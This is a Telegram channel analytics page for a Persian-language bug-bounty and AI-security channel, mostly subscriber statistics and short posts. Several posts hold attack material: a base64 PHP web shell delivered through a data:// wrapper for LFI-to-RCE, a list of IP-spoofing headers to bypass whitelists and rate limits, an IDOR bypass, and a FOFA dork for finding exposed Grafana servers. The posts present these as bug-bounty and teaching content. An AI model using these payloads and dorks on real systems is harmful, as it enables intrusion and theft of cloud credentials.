TryHackBox ( AI Security )
Відкрити в Telegram
تمام مطالب منتشر شده در کانال صرفاً برای اهداف آموزشی و اطلاع‌رسانی هستند. هوش مصنوعی مغز دوم نیست، وقتی از مغز اصلی خود استفاده نمی‌کنید https://t.me/TryHackBox/3018
Показати більше1 585
Підписники
+424 години
+47 днів
+8630 днів
Завантажуємо дані
Схожі канали
Немає даних
Виникли проблеми? Будь ласка, оновіть сторінку або зверніться до нашого support-менеджера.
Хмара тегів
Вхідні та вихідні згадування
---
---
---
---
---
---
Залучення підписників
жовтень '26жовт '26
жовтень '26
+100
в 17 каналах
вересень '26
+137
в 94 каналах
Get PRO
серпень '26
+106
в 103 каналах
Get PRO
липень '26
+356
в 5 каналах
Get PRO
червень '260
в 8 каналах
Get PRO
травень '26
+3
в 0 каналах
Get PRO
квітень '26
+4
в 0 каналах
Get PRO
березень '26
+6
в 0 каналах
Get PRO
лютий '26
+82
в 7 каналах
Get PRO
січень '26
+25
в 2 каналах
Get PRO
грудень '25
+64
в 5 каналах
Get PRO
листопад '25
+36
в 2 каналах
Get PRO
жовтень '25
+587
в 6 каналах
Get PRO
вересень '250
в 1 каналах
Get PRO
серпень '250
в 2 каналах
Get PRO
липень '250
в 5 каналах
Get PRO
червень '250
в 4 каналах
Get PRO
травень '250
в 5 каналах
Get PRO
квітень '250
в 3 каналах
Get PRO
березень '250
в 4 каналах
Get PRO
лютий '250
в 1 каналах
Get PRO
січень '250
в 2 каналах
Get PRO
грудень '24
+145
в 1 каналах
Get PRO
листопад '240
в 2 каналах
Get PRO
жовтень '240
в 1 каналах
Get PRO
вересень '24
+115
в 1 каналах
| Дата | Залучення підписників | Згадування | Канали | |
| 24 жовтня | +2 | |||
| 23 жовтня | +5 | |||
| 22 жовтня | +1 | |||
| 21 жовтня | +2 | |||
| 20 жовтня | +1 | |||
| 19 жовтня | +2 | |||
| 18 жовтня | +3 | |||
| 17 жовтня | +2 | |||
| 16 жовтня | +2 | |||
| 15 жовтня | 0 | |||
| 14 жовтня | +1 | |||
| 13 жовтня | +6 | |||
| 12 жовтня | +5 | |||
| 11 жовтня | +2 | |||
| 10 жовтня | +1 | |||
| 09 жовтня | +3 | |||
| 08 жовтня | +7 | |||
| 07 жовтня | +3 | |||
| 06 жовтня | +9 | |||
| 05 жовтня | +24 | |||
| 04 жовтня | +8 | |||
| 03 жовтня | +3 | |||
| 02 жовтня | +6 | |||
| 01 жовтня | +2 |
Дописи каналу
Repost from Try Hack Box
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡
LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:
مثال param vulnerable:
page=../../../../etc/passwdحالا PHP shellت رو با base64 encoding بساز:
echo '<?php system($_GET["cmd"]);?>' | base64PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=URL-encodeش کن: PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D Payload نهایی (با data:// wrapper): page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id BOOM! Remote Code Execution. 💥 من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.
کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن@TryHackBox #باگ_بانتی
| 2 | 🧠 نکته باگ بانتی حملات Denial of Wallet 💸
شنیدی Denial of Service رو... اما Denial of Wallet چی؟
🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.
🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.
💥 تارگت‌های رایج در برنامه‌های باگ بانتی:
Cloud Functions (مثل AWS Lambda، Azure Functions)
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.
Email/SMS APIs
مثال: feature signup/login OTP via Twilio یا SendGrid می فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.
AI Chatbots (مثل OpenAI، Claude APIs)
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.
💡 الهام واقعی از دنیای واقعی
طبق مقاله PortSwigger:
"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."
تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.
🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:
⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت های abuse email/SMS OTP یا notification
✅ نکته‌ها قبل از Report:
⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap
💰 این باگ‌ها اغلب plain sight مخفی ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.
کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.
@TryHackBox
#باگ_بانتی | 1 |
| 3 |  +1🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.
🔥 ۲. ابزارها بدون دانش core هیچی نیستن.
🔥 ۳. دنبال کردن باگ های basic تو رو elite نمیکنه.
ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی ها رو.
🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.
کدوم نکته‌ش برات جالب تر بود ؟
@TryHackBox
#باگ_بانتی | 1 |
| 4 | 🔥 با تکنیک های killer که بیشتر باگ هانترها ازشون غافلن.
IP Spoofing Headers برای Bypass و Testing:
X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header
استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.
کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.
@TryHackBox
#باگ_بانتی | 1 |
| 5 | 💡 نکته باگ بانتی IDOR Bypass
بعضی وقت‌ها APIها وقتی چندین ID با هم پاس داده میشن، رفتار غیرمنتظره‌ای نشون میدن.
🔍 سناریو
Victim’s ID: 5200
Attacker’s ID: 5233
🚫 GET /api/users/5200/info → Access Denied
✅ GET /api/users/5200,5233/info → Bypass Successful.
📌 همیشه comma-separated، array-style یا batch ID parameterها رو موقع شکار IDOR تست کن!
کدوم IDOR bypass رو با comma یا array تست کردی که access denied رو دور زد و bounty داد؟ تجربت رو کامنت کن،
@TryHackBox
#باگ_بانتی #بایپس #IDOR | 1 |
| 6 | 🔖 فقط یه FOFA dork ساده که خودم ساختم رو دراپ میکنم تا همه نسخه‌های vulnerable Grafana رو که از AWS استفاده میکنن پیدا کنه این بهت کمک میکنه تمام cloud metadata رو از طریق Grafana SSRF CVE-2025-4123 بخونی.
FOFA dork:
app="grafana" && cloud_name="aws" && (body="Grafana v10.0.0" body="Grafana v10.0.1" body="Grafana v10.0.2" body="Grafana v10.0.3" body="Grafana v10.0.4" body="Grafana v10.0.5" body="Grafana v10.0.6" body="Grafana v10.0.7" body="Grafana v10.0.8" body="Grafana v10.0.9" body="Grafana v10.0.10" body="Grafana v10.0.11" body="Grafana v10.0.12" body="Grafana v10.1.0" body="Grafana v10.1.1" body="Grafana v10.1.2" body="Grafana v10.1.3" body="Grafana v10.1.4" body="Grafana v10.1.5" body="Grafana v10.1.6" body="Grafana v10.1.7" body="Grafana v10.1.8" body="Grafana v10.1.9" body="Grafana v10.1.10" body="Grafana v10.2.0" body="Grafana v10.2.1" body="Grafana v10.2.2" body="Grafana v10.2.3" body="Grafana v10.2.4" body="Grafana v10.2.5" body="Grafana v10.2.6" body="Grafana v10.2.7" body="Grafana v10.3.0" body="Grafana v10.3.1" body="Grafana v10.3.2" body="Grafana v10.3.3" body="Grafana v10.3.4" body="Grafana v10.3.5" body="Grafana v10.4.0" body="Grafana v10.4.1" body="Grafana v10.4.2" body="Grafana v10.4.3" body="Grafana v10.4.4" body="Grafana v10.4.5" body="Grafana v10.4.6" body="Grafana v10.4.7" body="Grafana v10.4.8" body="Grafana v10.4.9" body="Grafana v10.4.10" body="Grafana v10.4.11" body="Grafana v10.4.12" body="Grafana v10.4.13" body="Grafana v10.4.14" body="Grafana v10.4.15" body="Grafana v10.4.16" body="Grafana v10.4.17" body="Grafana v11.0.0" body="Grafana v11.0.1" body="Grafana v11.0.2" body="Grafana v11.0.3" body="Grafana v11.0.4" body="Grafana v11.0.5" body="Grafana v11.1.0" body="Grafana v11.1.1" body="Grafana v11.1.2" body="Grafana v11.1.3" body="Grafana v11.1.4" body="Grafana v11.2.0" body="Grafana v11.2.1" body="Grafana v11.2.2" body="Grafana v11.2.3" body="Grafana v11.3.0" body="Grafana v11.3.1" body="Grafana v11.3.2" body="Grafana v11.3.3" body="Grafana v11.4.0" body="Grafana v11.4.1" body="Grafana v11.4.2" body="Grafana v11.4.3" body="Grafana v11.5.0" body="Grafana v11.5.1" body="Grafana v11.5.2" body="Grafana v11.5.3" body="Grafana v11.5.4" body="Grafana v11.5.5" body="Grafana v11.5.6" body="Grafana v11.6.0" || body="Grafana v12.0.0")
کدوم نسخه Grafana رو با این FOFA dork شکار کردی که SSRF CVE-2025-4123 رو trigger کرد و metadata AWS رو leak داد؟ تجربت رو کامنت کن
@TryHackBox
#باگ_بانتی #دورک #fofa | 79 |
| 7 | 📌 راهنمای فنی آسیب‌پذیری های Unauthenticated (JIRA) ده مورد CVE کلیدی همراه با روش تشخیص و exploitation، ویژه علاقه مندان به تست نفوذ و باگ بانتی
🆔 @TryHackBox
Github | Linkedin | YouTube | Instagram | Other
#تست_نفوذ #امنیت_سایبری #باگ_بانتی | 17 |
| 8 | یکی از methodologyهای مخفیم رو دراپ میکنم
🌀 Takeover AWS S3 Bucket
🔥 مثل حرفه‌ای ها فوق العاده ساده اما خیلی موثر
✨ قبل از هرچیزی بیایم کل سناریو رو بفهمیم...
👀 ۱. کدوم bucketها آسیب‌پذیر برای takeover هستن؟
👀 ۲. تاثیر واقعی takeover یه S3 bucket چیه؟
👀 ۳. چطور S3 bucketهای potentially vulnerable رو پیدا کنیم؟
👀 ۴. چطور validate کنیم که bucket واقعاً توسط تارگت استفاده شده؟
⚡ ۱. Bucket های آسیب‌پذیر:
اگه تارگت قبلاً از یه S3 bucket استفاده کرده و deleteش کرده اما subdomain (CNAME) هنوز به amazonaws.com اشاره میکنه این فرصت عالی takeoverه.
⚡ ۲. تاثیر:
اگه bucket هنوز در backend یا services reference شده باشه، و تارگت فراموش کرده removeش کنه، ممکنه حتی RCE به دست بیاری. در بعضی موارد، میتونه به full system compromise منجر بشه.
⚡ ۳. پیدا کردن Bucketها (با استفاده از FOFA):
اینجا چطور با FOFA شکارشون میکنم:
🧠 FOFA Dork:
body="specified bucket does not exist" && (host="target.com" || host="target_domain_name_only") && port="443"
🔍 این dork subdomainهایی رو میده که به bucketهای missing یا deleted اشاره میکنن. FOFA fingerprints رو در سراسر وب index میکنه حتی برای منابع deleted پس goldmine برای پیدا کردن assetهای exposedی که تارگت فراموش کرده.
⚡ ۴. Validate کردن Ownership:
🔎 روش ۱: GitHub Recon
از GitHub dorkها مثل این استفاده کن:
org:target_org "target.s3.amazonaws.com"
یا ساده جستجو کن:
"target.s3.amazonaws.com"
ممکنه hardcoded linkها، past commitها یا config fileهایی پیدا کنی که اثبات کنه تارگت از این bucket استفاده میکرده.
🌐 روش ۲: DNS History (همیشه موثر نیست، اما ارزش امتحان داره)
چک کن اگه bucket برای static website hosting configure شده بوده.
از این ابزارها برای چک historical DNS records استفاده کن:
https://securitytrails.com
https://dnsdumpster.com
https://viewdns.info
https://www.robtex.com
اگه DNS leak یا CNAME recordهایی پیدا شد، analyzeشون کن تا proof of ownership بسازی.
🎯 پس بچه‌ها، امیدوارم از خوندن این قطعه کوچیک متدولوژی لذت برده باشین.
کدوم FOFA dork رو برای S3 takeover تست کردی که subdomain dangling شکار کرد؟ تجربت رو کامنت کن.
@TryHackBox
#دورک #باگ_بانتی | 14 |
| 9 |  🔖 دورک های باگ بانتی
https://dorkking.blindf.com/
شما چه دورک هایی استفاده میکنید ، کامنت کنید
@TryHackBox
#dork #باگ_بانتی | 81 |
| 10 |  🔥 چک لیست امنیت هوش مصنوعی
@TryHackBox
#چک_لیست #هوش_مصنوعی | 82 |
| 11 | 🔴 THB Security Research | CVE-2026-67276
تحلیل فنی یک نقص در Public-Key Authentication در MikroTik RouterOS که می‌تواند مدل اعتماد احراز هویت را تحت تأثیر قرار دهد.
📄 گزارش فنی کامل:
CVE-2026-67276 : MikroTik RouterOS
@TryHackBox
#MikroTik #RouterOS #CVE #Pentest
#میکروتیک #آسیب_پذیری | 72 |
| 12 | ⏰ PERSISTENCE SERIES | PART 3
Scheduled Tasks
وقتی خود سیستم دوباره چیزی رو اجرا میکنه.
اScheduled Taskها بخش کاملاً طبیعی Windows هستن.
Backup?
Maintenance?
Updates?
Monitoring?
همه میتونن از Scheduled Task استفاده کنن.
اما همین قابلیت باعث میشه در یک Security Assessment ارزش بررسی داشته باشه.
چرا؟
چون یک Task میتونه مشخص کنه:
چه چیزی اجرا بشه،
چه زمانی اجرا بشه،
با چه User Contextای اجرا بشه،
و تحت چه شرایطی Trigger بشه.
🔎 بنابراین یک Task غیرعادی میتونه یک Persistence Indicator باشه.
ولی فقط اسم Task رو نگاه نکنید.
این موارد هم مهم هستن:
🔹 Executable Path
🔹 Trigger
🔹 User Context
🔹 Creation / Modification Time
🔹 Parent / Child Process Relationship
و یک نکته مهم:
یک Task عجیب به‌تنهایی ثابت نمیکنه که مخربه.
مثل همیشه، Context مهمه.
🎯 سؤال:
فرض کنید بین یک Scheduled Task ناشناس و یک Registry Run Key ناشناس، فقط اجازه بررسی یکی رو دارید.
کدوم رو در اولویت قرار میدید؟
و مهم‌تر از اون، چرا؟
👇 استدلالتون رو بنویسید.
@TryHackBox
#TryHackBox #CyberSecurity #Persistence #ScheduledTasks #WindowsSecurity #RedTeam #Red_Team | 37 |
| 13 | 🧩 گاهی مشکل در ID نیست؛ در پارامتری است که اصلاً جلوی چشمت نیست.
یک API ممکن است ظاهراً این باشد:
GET /api_v1/messages
اما Backend ممکن است پارامتر دیگری هم قبول کند:
GET /api_v1/messages?user_id=<UUID>
حالا سؤال مهم این است:
این پارامتر واقعاً توسط Server Authorization می شود یا فقط برای انتخاب Object استفاده می‌شود؟
این یکی از جاهایی است که Endpoint Discovery و Parameter Discovery اهمیت پیدا می کنند.
برای همین در تست های واقعی، فقط پارامترهایی که در UI میبینی را بررسی نکن.
به دنبال اینها هم باش:
پارامترهای موجود در Requestهای قدیمی
پارامترهای API
Hidden Parameters
پارامترهای مربوط به User/Object
پارامترهایی که در Frontend استفاده میشوند ولی در UI دیده نمیشوند
حتی ابزارهایی مثل Arjun و Param Miner دقیقاً برای پیدا کردن Hidden Parameters می‌توانند در این مرحله مفید باشند.
اما ابزار فقط Candidate پیدا می‌کند.
تشخیص Vulnerability همچنان با تحلیل رفتار Authorization انجام می‌شود.
@TryHackBox
#تست_نفوذ #امنیت_وب #امنیت_سایبری | 42 |
| 14 | 🔐 THB CTF Team Qualification : Challenge #04
Forgotten
دسته: Web / API Authentication
سطح سختی: Hard
پروژه: TCTQ : مسیر پذیرش تیم CTF TryHackBox
📖 سناریو
اKeystone یه پلتفرم داخلی همکاری تیمیه. کاربرها میتونن اکانت بسازن، لاگین کنن، و اگه پسوردشون یادشون رفت، دسترسیشون رو برگردونن.
شما به عنوان یه پنتستر خارجی استخدام شدید. یه اکانت عادی بسازید و ببینید یه کاربر معمولی تا کجا میتونه پیش بره.
🎯 هدف: شناسایی و دسترسی به بالاترین‌سطح Resource قابل دسترس روی این پلتفرم، و گرفتن verification code ای که برمیگردونه.
⚙️ نحوه اجرا
docker compose up --build
یا
./start.sh
اپلیکیشن روی آدرس زیر بالا میاد:
http://localhost:8004
فرمت فلگ :
THB{ }
ارسال فلگ :
@Unique_exploitbot
@TryHackBox
#CTF_THB | 36 |
| 15 |  حل چلنچ : Mirror : THB CTF
حل چالش توسط اقا ایمان عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 44 |
| 16 | 🔐 THB CTF Team Qualification : Challenge #03 : Mirror
دسته: Web Penetration Testing
سطح سختی: Hard
پروژه: TCTQ مسیر پذیرش تیم CTF TryHackBox
📖 سناریو
اMirror یه Identity Gateway داخلیه که توکن های session رو برای چند تا سرویس پلتفرم صادر و verify میکنه. همچنین یه مستندات integration برای سرویس های partner منتشر کرده که بخوان توکن های Mirror رو مستقل verify کنن.
شما به‌عنوان یه پنتستر خارجی استخدام شدید. یه اکانت عادی بسازید و ببینید یه کاربر معمولی تا کجا میتونه پیش بره.
🎯 هدف: شناسایی و دسترسی به بالاترین‌سطح Resource قابل دسترس روی این پلتفرم، و گرفتن verification code ای که برمیگردونه.
⚙️ نحوه اجرا
docker compose up --build
یا
./start.sh
اپلیکیشن روی آدرس زیر بالا میاد:
http://localhost:8003
فرمت فلگ :
THB{ }
ارسال فلگ :
@Unique_exploitbot
قوانین و توضیحات تکمیلی
@TryHackBox
#CTF_THB | 43 |
| 17 |  حل چلنچ دوم :
Race Against Trust : THB CTF
حل CTF توسط اقا احمد عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 80 |
| 18 | شرکت شناخته‌شده ی SpecterOps در حوزه ی امنیت سایبری، مجموعه ای از مهارت ها، ایجنت ها (Agents) و پلاگین ها (Plugins) را در گیت هاب منتشر کرده است.
این مجموعه شامل ۷۹ مهارت، ۲۲ ایجنت و ۲۶ پلاگین برای کار با ابزارها و حوزه های مختلف امنیت سایبری است
اگر با ابزارهای هوش مصنوعی و مدل های زبانی بزرگ (LLM) در حوزه ی امنیت سایبری کار می کنید، این مخزن ارزش بررسی دارد.
https://github.com/SpecterOps/skills
@AiTHB | 558 |
| 19 |  حل چلنچ : The Broken Trust : THB CTF
حل چالش توسط اقا احمد عزیز از اعضای کانال .
@TryHackBox
#CTF_THB | 293 |
| 20 | حفاظت از Agent هوش مصنوعی: یک فریم ورک یکپارچه برای ردتیم
Dataset | ClawScan | Leaderboard
@AiTHB | 519 |
